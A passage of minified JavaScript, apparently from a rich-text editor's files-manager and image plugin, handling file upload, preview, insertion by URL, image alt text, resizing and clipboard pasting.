rn this.disabled=!0,void(this.checked=!1);Ie(parseInt(this.id.split("-").pop()))}),k.events.$on(l,"click",".fr-file-edit-button",function(e){var t=parseInt(this.id.split("-").pop());l.find(".fr-file-edit-button-".concat(t)).hasClass("fr-disabled")||Se(t)}),k.events.$on(l,"click",".fr-file-view-button",function(e){var t=parseInt(this.id.split("-").pop());l.find(".fr-file-view-button-".concat(t)).hasClass("fr-disabled")||function v(e){if(!$e(ke(M.get(e)))){var t=M.get(e).link,n=M.get(e).link;if(N.get(e)&&N.get(e).name?n=N.get(e).name:M.get(e).text&&(n=M.get(e).text),0===t.indexOf("blob:")&&k.browser.msie&&window.navigator&&window.navigator.msSaveBlob)window.navigator.msSaveBlob(N.get(e),n);else{var r=document.createElement("a");r.href=t,r.download=n,r.click()}return!1}var a=k.popups.get("filesManager.insert");if(0<a.find(".fr-file-view-image-"+e).length)a.find(".fr-file-view-image-"+e)[0].remove();else{for(var o=a.find(".fr-file-view"),i=0;i<o.length;i++)o.get(i).remove();var s=a.find(".fr-file-view-"+e);if(De(ke(M.get(e)))){var l='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content">\n <div class="fr-file-view-close">×</div> \n <img src="'+M.get(e).link+"\" class ='fr-file-view-image'/>\n </div>\n </div>";s[0].innerHTML=l+s[0].innerHTML}else if(Fe(ke(M.get(e)))){var c;if(M.get(e).hasOwnProperty("video")){var d=M.get(e).video.substring(M.get(e).video.indexOf("src")+3),f=d.substring(d.indexOf('"')+1);f=f.substring(0,f.indexOf('"')),c='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <iframe width="640" height="360" src="'.concat(f+"&autoplay=1&mute=1",'" allow="autoplay" frameborder="0" class = "fr-file-view-image"></iframe>\n </div>\n </div>')}else c='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <video controls src="'+M.get(e).link+"\" class ='fr-file-view-image' autoplay></video>\n </div>\n </div>";s[0].innerHTML=c+s[0].innerHTML}else if(Pe(ke(M.get(e)))){var p='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <audio controls="controls" class =\'fr-file-view-image\' autoplay>\n\n <source src="'.concat(M.get(e).link,'" type="').concat(ke(M.get(e)),'" />\n\n Your browser does not support the audio element.\n </audio>\n </div>\n </div>');s[0].innerHTML=p+s[0].innerHTML}else if(Be(ke(M.get(e)))){var u=M.get(e).link,h=M.get(e).text;if(u.endsWith(".pdf")||u.endsWith(".txt")){var g='<div class="fr-file-view-modal">\t\n <div class="fr-file-view-modal-content " >\t\n <div class="fr-file-view-close">×</div> \t\n <iframe src="'.concat(u,"\" style='background-color: white;' height='50%' width='50%' title=\"").concat(h,'" class="fr-file fr-file-view-image"></iframe>\t\n </div>\t\n </div>');s[0].innerHTML=g+s[0].innerHTML}else if(0===u.indexOf("blob:")&&k.browser.msie&&window.navigator&&window.navigator.msSaveBlob)window.navigator.msSaveBlob(N.get(e),h);else{var m=document.createElement("a");m.href=u,m.download=h,m.click()}}}}(t)}),k.events.$on(l,"click",".fr-file-delete-button",function(e){q(parseInt(this.id.split("-").pop()))}),k.events.$on(l,"click",".fr-file-cancel-upload-button",function(e){!function n(e){var t=k.popups.get("filesManager.insert");t.find(".fr-file-item-right-"+e).get(0).innerHTML=Ce(e),T.get(e).abort(),ye(e,100,!0),t.find(".fr-checkbox-file-"+e).get(0).disabled=!0}(parseInt(this.id.split("-").pop()))}),k.events.$on(l,"click",".fr-upload-delete-button",function(e){!function t(e){0!=T.get(e).readyState&&(T.get(e).abort(),ye(e,100,!0),T["delete"](e)),q(e)}(parseInt(this.id.split("-").pop()))}),k.events.$on(l,"click",".fr-file-view-close",function(e){l.find(".fr-file-view-modal").get(0).outerHTML=""}),k.events.$on(l,"click",".fr-plugins-enable",function(e){!function t(){g.forEach(function(e){k.opts.pluginsEnabled.indexOf(e)<0&&k.opts.pluginsEnabled.push(e)})}(),function n(e){for(var t in e)if(!k[t]){if(kt.PLUGINS[t]&&k.opts.pluginsEnabled.indexOf(t)<0)continue;k[t]=new e[t](k),k[t]._init&&k[t]._init()}}(kt.PLUGINS),k.popups.get("filesManager.insert").get(0).outerHTML="",He(),C(!0)}),k.events.$on(l,"click",".fr-plugins-cancel",function(e){k.popups.hide("filesManager.insert")}),k.events.$on(l,"drop",".fr-upload-progress",function(e){e.preventDefault(),e.stopPropagation()}),k.events.$on(l,"drop",".fr-files-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),R(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var n=l.data("instance")||k;n.events.disableBlur();for(var r=[],a=0;a<t.files.length;a++){var o=h;N.set(o,t.files[a]),me(o),O.set(o,!1),r.push(o),h++}for(var i=0;i<r.length;i++)n.filesManager.upload(N.get(r[i]),t.files,y,r[i]);n.events.enableBlur()}},!0),k.helpers.isIOS()&&k.events.$on(l,"touchstart",'.fr-files-upload-layer input[type="file"]',function(){R(this).trigger("click")},!0),k.events.$on(l,"change",'.fr-files-upload-layer input[type="file"]',function(){if(this.files){var e=l.data("instance")||k;e.events.disableBlur(),l.find("input:focus").blur(),e.events.enableBlur();var t=[];if("undefined"!=typeof this.files&&0<this.files.length){for(var n=0;n<this.files.length;n++){var r=h;N.set(r,this.files[n]),me(r),O.set(r,!1),++h,t.push(r)}for(var a=0;a<t.length;a++)e.filesManager.upload(N.get(t[a]),this.files,y,t[a])}}R(this).val("")},!0)}function Ie(t){document.getElementById("fr-file-autoplay-button-"+t).checked?I.push(t):I=I.filter(function(e){return e!=t})}function De(e){return e&&"image"===e.split("/")[0]}function Be(e){return e&&"image"!=e.split("/")[0]&&e&&"video"!=e.split("/")[0]&&e&&"audio"!=e.split("/")[0]}function Fe(e){return e&&"video"===e.split("/")[0]}function Pe(e){return e&&"audio"===e.split("/")[0]}function $e(e){if("audio/ogg"==e||"video/ogg"==e||"image/webp"==e||"video/webm"==e){if(k.browser.msie||k.browser.edge||k.browser.safari)return!1;if(k.helpers.isMobile()){if("audio/ogg"==e||"video/ogg"==e)return!1;if(!k.helpers.isAndroid()&&!k.browser.chrome)return!1}}return!0}function He(e){if(e)return k.popups.onRefresh("filesManager.insert",b),k.popups.onHide("filesManager.insert",H),!0;var t,n,r="";k.opts.imageUpload||-1===k.opts.filesInsertButtons.indexOf("filesUpload")||k.opts.imageInsertButtons.splice(k.opts.filesInsertButtons.indexOf("filesUpload"),1);var a=k.button.buildList(k.opts.filesInsertButtons),o=k.button.buildList(k.opts.filesInsertButtons2);""!==a&&(r='<div class="fr-buttons fr-tabs">'.concat(a,'<span class="fr-align-right">').concat(o,"</span></div>"));var i=k.opts.filesInsertButtons.indexOf("filesUpload"),s=k.opts.filesInsertButtons.indexOf("filesByURL"),l=k.opts.filesInsertButtons.indexOf("filesEmbed"),c="";0<=i&&(t=" fr-active",0<=s&&s<i&&(t=""),c='<div class="fr-files-upload-layer'.concat(t,' fr-layer " id="fr-files-upload-layer-').concat(k.id,'"><div style="display:flex"><div class="fr-upload-section"><div class = \'fr-blue-decorator\'><div class = \'fr-cloud-icon\'><svg class = "fr-svg" focusable="false" width="26px" height="26px" viewBox = "0 0 24 24" xlmns = "http://w3.org/200/svg"><path d = \'M12 6.66667a4.87654 4.87654 0 0 1 4.77525 3.92342l0.29618 1.50268 1.52794 0.10578a2.57021 2.57021 0 0 1 -0.1827 5.13478H6.5a3.49774 3.49774 0 0 1 -0.3844 -6.97454l1.06682 -0.11341L7.678 9.29387A4.86024 4.86024 0 0 1 12 6.66667m0 -2A6.871 6.871 0 0 0 5.90417 8.37 5.49773 5.49773 0 0 0 6.5 19.33333H18.41667a4.57019 4.57019 0 0 0 0.32083 -9.13A6.86567 6.86567 0 0 0 12 4.66667Zm0.99976 7.2469h1.91406L11.99976 9 9.08618 11.91357h1.91358v3H11V16h2V14h-0.00024Z\'></path></svg></div>Drag & Drop One or More Files<br><div class="fr-decorated"><span> OR </span></div> Click Browse Files </div> </div><div class="fr-form"><input type="file" accept="').concat(k.opts.filesManagerAllowedTypes.join(",").toLowerCase(),'" tabIndex="-1" aria - labelledby="fr-files-upload-layer-').concat(k.id,'"role="button" multiple></div> </div></div>'));var d="";0<=l&&(t=" fr-active",(i<l&&0<=i||s<l&&0<=s)&&(t=""),d='<div class="fr-files-embed-layer fr-layer'.concat(t,'" id="fr-files-embed-layer-').concat(k.id,'"><div class="fr-input-line padding-top-15"><textarea data-gramm_editor="false" style=\'height:60px\' id="fr-files-embed-layer-text').concat(k.id,'" type="text" placeholder="').concat(k.language.translate("Embedded Code"),'" tabIndex="1" aria-required="true" rows="5"></textarea></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="insertEmbed" tabIndex="2" role="button">').concat(k.language.translate("Insert"),"</button></div></div>"));var f="";0<=s&&(t=" fr-active",0<=i&&i<s&&(t=""),f='<div class="fr-files-by-url-layer'.concat(t,' fr-layer" id="fr-files-by-url-layer-').concat(k.id,'"><div class="fr-input-line fr-by-url-padding"><input id="fr-files-by-url-layer-text-').concat(k.id,'" type="text" placeholder="http://" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="filesInsertByURL" tabIndex="2" role="button">').concat(k.language.translate("Add"),"</button></div></div>"));var p={buttons:r,upload_layer:c,by_url_layer:f,embed_layer:d,upload_progress_layer:"<div class = ' fr-margin-16 fr-upload-progress' id=\"fr-upload-progress-layer-".concat(k.id,"\" ><div class='fr-progress-bar-style'><div class='fr-progress-bar fr-none'></div></div><div id='filesList' class = 'fr-upload-progress-layer fr-layer'></div></div>"),progress_bar:'<div class="fr-files-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="filesDismissError" tabIndex="2" role="button">OK</button></div></div>'};return 1<=k.opts.imageInsertButtons.length&&(n=k.popups.create("filesManager.insert",p)),k.$wp&&k.events.$on(k.$wp,"scroll",function(){y&&k.popups.isVisible("filesManager.insert")&&replace()}),Oe(n),k.popups.setPopupDimensions(n),n}function Ue(e){var t=e.split("/").pop();if(t.split(".").length<2){var n=new Date;return t+"-"+n.getDate()+"/"+(n.getMonth()+1)+"/"+n.getFullYear()}return t}function ze(){y&&k.popups.get("image.alt").find("input").val(y.attr("alt")||"").trigger("change")}function Ke(){var e=k.popups.get("image.alt");e||(e=Ve()),J(),k.popups.refresh("image.alt"),k.popups.setContainer("image.alt",k.$sc);var t=lt();ct()&&(t=t.find(".fr-img-wrap"));var n=t.offset().left+t.outerWidth()/2,r=t.offset().top+t.outerHeight();k.popups.show("image.alt",n,r,t.outerHeight(),!0)}function Ve(e){if(e)return k.popups.onRefresh("image.alt",ze),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(k.button.buildList(k.opts.imageAltButtons),"</div>"),alt_layer:'<div class="fr-image-alt-layer fr-layer fr-active" id="fr-image-alt-layer-'.concat(k.id,'"><div class="fr-input-line"><input id="fr-image-alt-layer-text-').concat(k.id,'" type="text" placeholder="').concat(k.language.translate("Alternative Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetAlt" tabIndex="2" role="button">').concat(k.language.translate("Update"),"</button></div></div>")},n=k.popups.create("image.alt",t);return k.$wp&&k.events.$on(k.$wp,"scroll.image-alt",function(){y&&k.popups.isVisible("image.alt")&&Ke()}),n}function We(){var e=k.popups.get("image.size");if(y)if(ct()){var t=y.parent();t.get(0).style.width||(t=y.parent().parent()),e.find('input[name="width"]').val(t.get(0).style.width).trigger("change"),e.find('input[name="height"]').val(t.get(0).style.height).trigger("change")}else e.find('input[name="width"]').val(y.get(0).style.width).trigger("change"),e.find('input[name="height"]').val(y.get(0).style.height).trigger("change")}function Ge(){var e=k.popups.get("image.size");e||(e=Ye()),J(),k.popups.refresh("image.size"),k.popups.setContainer("image.size",k.$sc);var t=lt();ct()&&(t=t.find(".fr-img-wrap"));var n=t.offset().left+t.outerWidth()/2,r=t.offset().top+t.outerHeight();k.popups.show("image.size",n,r,t.outerHeight(),!0)}function Ye(e){if(e)return k.popups.onRefresh("image.size",We),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(k.button.buildList(k.opts.imageSizeButtons),"</div>"),size_layer:'<div class="fr-image-size-layer fr-layer fr-active" id="fr-image-size-layer-'.concat(k.id,'"><div class="fr-image-group"><div class="fr-input-line"><input id="fr-image-size-layer-width-\'').concat(k.id,'" type="text" name="width" placeholder="').concat(k.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-image-size-layer-height').concat(k.id,'" type="text" name="height" placeholder="').concat(k.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetSize" tabIndex="2" role="button">').concat(k.language.translate("Update"),"</button></div></div>")},n=k.popups.create("image.size",t);return k.$wp&&k.events.$on(k.$wp,"scroll.image-size",function(){y&&k.popups.isVisible("image.size")&&Ge()}),n}function je(e,t,n,r){return e.pageX=t,V.call(this,e),e.pageX=e.pageX+n*Math.floor(Math.pow(1.1,r)),W.call(this,e),G.call(this,e),++r}function Ze(e){(e=e||lt())&&!1!==k.events.trigger("image.beforeRemove",[e])&&(k.popups.hideAll(),nt(!0),k.undo.canDo()||k.undo.saveStep(),e.get(0)==k.el?e.removeAttr("src"):(e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?(k.selection.setBefore(e.get(0).parentNode)||k.selection.setAfter(e.get(0).parentNode)||e.parent().after(kt.MARKERS),R(e.get(0).parentNode).remove()):(k.selection.setBefore(e.get(0))||k.selection.setAfter(e.get(0))||e.after(kt.MARKERS),e.remove()),k.html.fillEmptyBlocks(),k.selection.restore()),k.undo.saveStep())}function qe(e){var t=e.which;if(y&&(t==kt.KEYCODE.BACKSPACE||t==kt.KEYCODE.DELETE))return e.preventDefault(),e.stopPropagation(),Ze(),!1;if(y&&t==kt.KEYCODE.ESC){var n=y;return nt(!0),k.selection.setAfter(n.get(0)),k.selection.restore(),e.preventDefault(),!1}if(!y||t!=kt.KEYCODE.ARROW_LEFT&&t!=kt.KEYCODE.ARROW_RIGHT)return y&&t===kt.KEYCODE.TAB?(e.preventDefault(),e.stopPropagation(),nt(!0),!1):y&&t!=kt.KEYCODE.F10&&!k.keys.isBrowserAction(e)?(e.preventDefault(),e.stopPropagation(),!1):void 0;var r=y.get(0);return nt(!0),t==kt.KEYCODE.ARROW_LEFT?k.selection.setBefore(r):k.selection.setAfter(r),k.selection.restore(),e.preventDefault(),!1}function Xe(e){if(e&&"IMG"==e.tagName){var t;if(k.node.hasClass(e,"fr-uploading")||k.node.hasClass(e,"fr-error"))null===(t=e.parentNode)||void 0===t||t.removeChild(e);else k.node.hasClass(e,"fr-draggable")&&e.classList.remove("fr-draggable");if(e.parentNode&&e.parentNode.parentNode&&k.node.hasClass(e.parentNode.parentNode,"fr-img-caption")){var n=e.parentNode.parentNode;n.removeAttribute("contenteditable"),n.removeAttribute("draggable"),n.classList.remove("fr-draggable");var r=e.nextSibling;r&&r.removeAttribute("contenteditable")}}else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var a=e.querySelectorAll("img.fr-uploading, img.fr-error, img.fr-draggable"),o=0;o<a.length;o++)Xe(a[o])}function Qe(e){var t=e.target.result,n=k.opts.imageDefaultWidth;n&&"auto"!=n&&(n+=k.opts.imageResizeWithPercent?"%":"px"),k.undo.saveStep(),k.html.insert('<img data-fr-image-pasted="true" src="'.concat(t,'"').concat(n?' style="width: '.concat(n,';"'):"",">"));var r=k.$el.find('img[data-fr-image-pasted="true"]');r&&it(r,k.opts.imageDefaultDisplay,k.opts.imageDefaultAlign),k.events.trigger("paste.after")}function Je(e,t){var n=new FileReader;n.onload=function r(e){var t=k.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=k.opts.imageResizeWithPercent?"%":"px"),k.html.insert('<img data-fr-image-pasted="true" src="'.concat(e,'"').concat(t?' style="width: '.concat(t,';"'):"",">"));var n=k.$el.find('img[data-fr-image-pasted="true"]');n&&it(n,k.opts.imageDefaultDisplay,k.opts.imageDefaultAlign),k.events.trigger("paste.after")}(t),n.readAsDataURL(e,t)}function et(e,t){var n=t||e&&e.clipboardData;if(n&&n.items){var r=(n||window.clipboardData).getData("text/html")||"",a=(new DOMParser).parseFromString(r,"text/html").querySelector("img");if(a&&!k.opts.imageUploadURL){if(!a)return!1;var o=a.src,i=null;if(n.types&&-1!=[].indexOf.call(n.types,"text/rtf")||n.getData("text/rtf"))i=n.items[0].getAsFile();else for(var s=0;s<n.items.length;s++)if(i=n.items[s].getAsFile()){kt.IMAGE_TYPE=i.type;break}if(i)return Je(i,o),!1}else{var l=null;if(n.types&&-1!=[].indexOf.call(n.types,"text/rtf")||n.getData("text/rtf"))l=n.items[0].getAsFile();else for(var c=0;c<n.items.length&&!(l=n.items[c].getAsFile());c++);if(l)return function d(e){var t=new FileReader;t.onload=Qe,t.readAsDataURL(e)}(l),!1}}}function tt(e){return e=e.replace(/<img /gi,'<img data-fr-image-pasted="true" ')}function nt(e){y&&(function t(){return rt}()||!0===e)&&(k.toolbar.enable(),l&&l.removeClass("fr-active"),k.popups.hide("image.edit"),y=null,ot(),c=null,d&&d.hide())}var rt=!1;function at(){rt=!0}function ot(){rt=!1}function it(e,t,n){!k.opts.htmlUntouched&&k.opts.useClasses?(R(e).removeClass("fr-fil fr-fir fr-dib fr-dii"),n&&R(e).addClass("fr-fi".concat(n[0])),t&&R(e).addClass("fr-di".concat(t[0]))):"inline"==t?(e.css({display:"inline-block",verticalAlign:"bottom",margin:k.opts.imageDefaultMargin}),"center"==n?e.css({"float":"none",marginBottom:"",marginTop:"",maxWidth:"calc(100% - ".concat(2*k.opts.imageDefaultMargin,"px)"),textAlign:"center"}):"left"==n?e.css({"float":"left",marginLeft:0,maxWidth:"calc(100% - ".concat(k.opts.imageDefaultMargin,"px)"),textAlign:"left"}):e.css({"float":"right",marginRight:0,maxWidth:"calc(100% - ".concat(k.opts.imageDefaultMargin,"px)"),textAlign:"right"})):"block"==t&&(e.css({display:"block","float":"none",verticalAlign:"top",margin:"".concat(k.opts.imageDefaultMargin,"px auto"),textAlign:"center"}),"left"==n?e.css({marginLeft:0,textAlign:"left"}):"right"==n&&e.css({marginRight:0,textAlign:"right"}))}function st(){return y}function lt(){return ct()?y.parents(".fr-img-caption").first():y}function ct(){return!!y&&0<y.parents(".fr-img-caption").length}return{_init:function dt(){var o;(function e(){k.events.$on(k.$el,k._mousedown,"IMG"==k.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==R(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;k.helpers.isMobile()||k.selection.clear(),t=!0,k.popups.areVisible()&&k.events.disableBlur(),k.browser.msie&&(k.events.disableBlur(),k.$el.attr("contenteditable",!1)),k.draggable||"touchstart"==e.type||e.preventDefault(),e.stopPropagation()}),k.events.$on(k.$el,k._mousedown,".fr-img-caption .fr-inner",function(e){k.core.hasFocus()||k.events.focus(),e.stopPropagation()}),k.events.$on(k.$el,"paste",".fr-img-caption .fr-inner",function(e){!0===k.opts.toolbarInline&&(k.toolbar.hide(),e.stopPropagation())}),k.events.$on(k.$el,k._mouseup,"IMG"==k.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==R(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t&&(t=!1,e.stopPropagation(),k.browser.msie&&(k.$el.attr("contenteditable",!0),k.events.enableBlur()))}),k.events.on("keyup",function(e){if(e.shiftKey&&""===k.selection.text().replace(/\n/g,"")&&k.keys.isArrow(e.which)){var t=k.selection.element(),n=k.selection.endElement();t&&"IMG"==t.tagName?Te(R(t)):n&&"IMG"==n.tagName&&Te(R(n))}},!0),k.events.on("window.mousedown",at),k.events.on("window.touchmove",ot),k.events.on("mouseup window.mouseup",function(){if(y)return nt(),!1;ot()}),k.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&nt()}),k.events.on("image.resizeEnd",function(){k.opts.iframe&&k.size.syncIframe()}),k.events.on("blur image.hideResizer commands.undo commands.redo element.dropped",function(){nt(!(t=!1))}),k.events.on("modals.hide",function(){y&&k.selection.clear()}),k.events.on("image.resizeEnd",function(){k.win.getSelection&&Te(y)}),k.opts.imageAddNewLine&&k.events.on("image.inserted",function(e){var t=e.get(0);for(t.nextSibling&&"BR"===t.nextSibling.tagName&&(t=t.nextSibling);t&&!k.node.isElement(t);)t=k.node.isLastSibling(t)?t.parentNode:null;k.node.isElement(t)&&(k.opts.enter===kt.ENTER_BR?e.after("<br>"):R(k.node.blockParent(e.get(0))).after("<".concat(k.html.defaultTag(),"><br></").concat(k.html.defaultTag(),">")))})})(),"IMG"==k.el.tagName&&k.$el.addClass("fr-view"),k.helpers.isMobile()&&(k.events.$on(k.$el,"touchstart","IMG"==k.el.tagName?null:'img:not([contenteditable="false"])',function(){de=!1}),k.events.$on(k.$el,"touchmove",function(){de=!0})),k.opts.pluginsEnabled.includes("filestack")&&k.events.on("filestack.pluginsEnabled",function(){He()}),k.$wp?(k.events.on("window.keydown keydown",qe,!0),k.events.on("keyup",function(e){if(y&&e.which==kt.KEYCODE.ENTER)return!1},!0),k.events.$on(k.$el,"keydown",function(){var e=k.selection.element();(e.nodeType===Node.TEXT_NODE||"BR"==e.tagName&&k.node.isLastSibling(e))&&(e=e.parentNode),k.node.hasClass(e,"fr-inner")||(k.node.hasClass(e,"fr-img-caption")||(e=R(e).parents(".fr-img-caption").get(0)),k.node.hasClass(e,"fr-img-caption")&&(k.opts.trackChangesEnabled||R(e).after(kt.INVISIBLE_SPACE+kt.MARKERS),k.selection.restore()))})):k.events.$on(k.$win,"keydown",qe),k.events.on("toolbar.esc",function(){if(y){if(k.$wp)k.events.disableBlur(),k.events.focus();else{var e=y;nt(!0),k.selection.setAfter(e.get(0)),k.selection.restore()}return!1}},!0),k.events.on("toolbar.focusEditor",function(){if(y)return!1},!0),k.events.on("window.cut window.copy",function(e){if(y&&k.popups.isVisible("image.edit")&&!k.popups.get("image.edit").find(":focus").length){var t=lt();ct()?(t.before(kt.START_MARKER),t.after(kt.END_MARKER),k.selection.restore(),k.paste.saveCopiedText(t.get(0).outerHTML,t.text())):k.paste.saveCopiedText(y.get(0).outerHTML,y.attr("alt")),"copy"==e.type?setTimeout(function(){Te(y)}):(nt(!0),k.undo.saveStep(),setTimeout(function(){k.undo.saveStep()},0))}},!0),k.browser.msie&&k.events.on("keydown",function(e){if(!k.selection.isCollapsed()||!y)return!0;var t=e.which;t==kt.KEYCODE.C&&k.keys.ctrlKey(e)?k.events.trigger("window.copy"):t==kt.KEYCODE.X&&k.keys.ctrlKey(e)&&k.events.trigger("window.cut")}),k.events.$on(R(k.o_win),"keydown",function(e){var t=e.which;if(y&&t==kt.KEYCODE.BACKSPACE)return e.preventDefault(),!1}),k.events.$on(k.$win,"keydown",function(e){var t=e.which;y&&y.hasClass("fr-uploading")&&t==kt.KEYCODE.ESC&&y.trigger("abortUpload")}),k.events.on("destroy",function(){y&&y.hasClass("fr-uploading")&&y.trigger("abortUpload")}),k.events.on("paste.before",et),k.events.on("paste.beforeCleanup",tt),k.events.on("html.processGet",Xe),k.opts.imageOutputSize&&k.events.on("html.beforeGet",function(){o=k.el.querySelectorAll("img");for(var e=0;e<o.length;e++){var t=parseFloat(R(o[e]).css("padding-left"))+parseFloat(R(o[e]).css("padding-right")),n=R(o[e]).width()-t,r=o[e].style.width||n,a=o[e].style.height||R(o[e]).height();r&&o[e].setAttribute("width","".concat(r).replace(/px/,"")),a&&o[e].setAttribute("height","".concat(a).replace(/px/,""))}}),k.opts.iframe&&k.events.on("image.loaded",k.size.syncIframe),k.events.$on(R(k.o_win),"orientationchange.image",function(){setTimeout(function(){y&&Te(y)},100)}),function r(e){if(e)return k.$wp&&k.events.$on(k.$wp,"scroll.image-edit",function(){y&&k.popups.isVisible("image.edit")&&k.events.disableBlur()}),!0;var t="";if(0<k.opts.imageEditButtons.length){var n={buttons:t+='<div class="fr-buttons"> \n '.concat(k.button.buildList(k.opts.imageEditButtons),"\n </div>")};return k.popups.create("image.edit",n)}return!1}(!0),He(!0),Ye(!0),Ve(!0),k.events.on("node.remove",function(e){if("IMG"==e.get(0).tagName)return Ze(e),!1}),k.events.on("popups.hide.filesManager.insert",function(e){k.filesManager.minimizePopup(x)})},showInsertPopup:C,showLayer:function ft(e){var t,n,r=k.popups.get("filesManager.insert");if(y||k.opts.toolbarInline){if(y){var a=lt();ct()&&(a=a.find(".fr-img-wrap")),n=a.offset().top+a.outerHeight(),t=a.offset().left}}else{var o=k.$tb.find('.fr-command[data-cmd="insertFiles"]');t=o.offset().left,n=o.offset().top+(k.opts.toolbarBottom?10:o.outerHeight()-10)}!y&&k.opts.toolbarInline&&(n=r.offset().top-k.helpers.getPX(r.css("margin-top")),r.hasClass("fr-above")&&(n+=r.outerHeight())),r.find(".fr-layer").removeClass("fr-active"),r.find(".fr-".concat(e,"-layer")).addClass("fr-active"),r.find(".fr-upload-progress-layer").addClass("fr-active"),k.popups.show("filesManager.insert",t,n,y?y.outerHeight():0),k.accessibility.focusPopup(r)},refreshUploadButton:function pt(e){var t=k.popups.get("filesManager.insert");t&&t.find(".fr-files-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshByURLButton:function ut(e){var t=k.popups.get("filesManager.insert");t&&t.find(".fr-files-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:Me,insertByURL:function ht(){for(var e,t=k.popups.get("filesManager.insert").find(".fr-files-by-url-layer input"),n=t.val().trim().split(/[ ,]+/),r=[],a=0,o=0;o<n.length;o++)e=n[o],new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i").test(e)&&(r[a]=n[o],a++);if(0!=r.length){if(0<t.val().trim().length&&0<r.length){var s=[],l=[],c=h,d=r.length;r.forEach(function(e,n){if(0==e.trim().length)h==c+--d&&Le(s,l);else{J(),Q(),ee(k.language.translate("Loading file(s)"));var r=e.trim(),t=function i(e){if(void 0===e)return e;var t=null;if(/^http/.test(e)||(e="https://".concat(e)),k.helpers.isURL(e))for(var n=0;n<kt.VIDEO_PROVIDERS.length;n++){var r=kt.VIDEO_PROVIDERS[n];if(r.test_regex.test(e)&&new RegExp(k.opts.videoAllowedProviders.join("|")).test(r.provider)){t=e.replace(r.url_regex,r.url_text),t=r.html.replace(/\{url\}/,t);break}}return t}(r);if(t){var a={link:r,name:r,type:"video/url",size:2,video:t};N.set(c+n,a),me(c+n),J(),Q(),ee(k.language.translate("Loading file(s)")),M.set(c+n,a),++h==c+d&&Le(s,l)}else{var o=new XMLHttpRequest;o.onload=function(){if(200==this.status){var e=new Blob([this.response],{type:this.response.type||""});e.name=Ue(r),e.link=r,De(this.response.type)?(e.sanitize=!0,e.existing_image=y):Be(this.response.type)&&(e.text=Ue(r)),s.push(e),l.push(c+n),N.set(c+n,e),me(c+n),(-1<$.indexOf(ke(e))||!ke(e))&&j(F,null,null,c+n)}else{var t=new Blob([this.response],{type:this.response.type||" "});t.name=Ue(r),t.link=r,N.set(c+n,t),me(c+n),j(D,this.response,y,c+n)}J(),Q(),ee(k.language.translate("Loading file(s)")),++h==c+d&&Le(s,l)},o.onerror=function(){var e={link:r,name:Ue(r),size:0,type:""};j(9,this.response,y,c+n);var t=h;N.set(t,e),me(t),J(),Q(),ee(k.language.translate("Loading file(s)")),++h==c+d&&Le(s,l)},o.open("GET","".concat(k.opts.imageCORSProxy,"/").concat(r),!0),o.responseType="blob",o.send()}}}),t.val(""),t.blur()}}else te(k.language.translate("Url entered is invalid. Please try again."))},insertAllFiles:function gt(){a=[];var e=k.popups.get("filesManager.insert");u=-1,f=null,e.find(".fr-insert-checkbox").toArray().forEach(function r(e,t,n){e.children.target.checked&&(a.push(parseInt(e.id.split("-").pop())),De(M.get(parseInt(e.id.split("-").pop())).type)&&-1==u&&(u=t))}),_e(a),Z()},deleteAllFiles:function e(){k.popups.get("filesManager.insert").find(".fr-insert-checkbox").toArray().forEach(function a(e,t,n){if(e.children.target.checked){var r=parseInt(e.id.split("-").pop());T.has(r)&&T["delete"](r),q(r)}}),Z()},get:st,getEl:lt,insert:xe,showProgressBar:Q,remove:Ze,hideProgressBar:J,applyStyle:function mt(e,t,n){if(void 0===t&&(t=k.opts.imageStyles),void 0===n&&(n=k.opts.imageMultipleStyles),!y)return!1;var r=lt();if(!n){var a=Object.keys(t);a.splice(a.indexOf(e),1),r.removeClass(a.join(" "))}"object"==St(t[e])?(r.removeAttr("style"),r.css(t[e].style)):r.toggleClass(e),Te(y)},showAltPopup:Ke,showSizePopup:Ge,setAlt:function vt(e){if(y){var t=k.popups.get("image.alt");y.attr("alt",e||t.find("input").val()||""),t.find("input:focus").blur(),Te(y)}},setSize:function bt(e,t){if(y){var n=k.popups.get("image.size");e=e||n.find('input[name="width"]').val()||"",t=t||n.find('input[name="height"]').val()||"";var 